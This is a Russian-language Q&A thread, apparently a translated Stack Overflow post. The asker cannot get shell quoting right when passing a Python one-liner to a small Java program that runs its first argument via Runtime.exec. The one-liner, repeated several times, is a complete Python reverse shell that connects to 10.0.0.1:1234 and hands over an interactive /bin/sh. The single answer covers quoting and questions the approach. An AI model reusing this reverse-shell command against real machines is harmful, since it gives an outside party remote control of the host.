Передача операторов Python в качестве аргументов командной строки в программу Java
Учитывая ниже java
код, как я могу передать следующее python
заявления в качестве аргумента java
код
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Java-код:
import java.io.*;
public class Exec {
public static void main(String[] args) throws IOException {
Process p = Runtime.getRuntime().exec(args[0]);
byte[] b = new byte[1];
while (p.getErrorStream().read(b) > 0)
System.out.write(b);
while (p.getInputStream().read(b) > 0)
System.out.write(b);
}
}
Я выполняю код Java, используя:
java Exec 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''
но это бросает syntax error near unexpected token
('`. Если я использую двойные кавычки в начале и в конце
java Exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
это бросает:
File "<string>", line 1
'import
^
SyntaxError: EOL while scanning string literal
Буду признателен за любую оказанную помощь.
1 ответ
Как вы заметили, это довольно запутанно. Вы пытаетесь передать все как один аргумент, и цитирование становится трудным. Если вам нужны явные аргументы, я думаю, что вы должны передать три аргумента вашей Java-программе, а именно:
- питон
- -с
- полный сценарий процитирован соответствующим образом
например
java Exec python -c "script quoted and escaped properly"
но, возможно, вы могли бы обойти это, запустив 'python' и передав имя файла, содержащего ваш скрипт? (зачем вам нужно указывать 'python' и '-c' - это может быть жестко задано в вашей программе?)
Однако, в принципе, почему вы используете Java для запуска программы на Python для создания оболочки bash? Если вы работаете на платформе Java, я бы посмотрел, как добиться того, чего вы действительно хотите, без необходимости раскручивать подпроцессы с использованием различных технологий.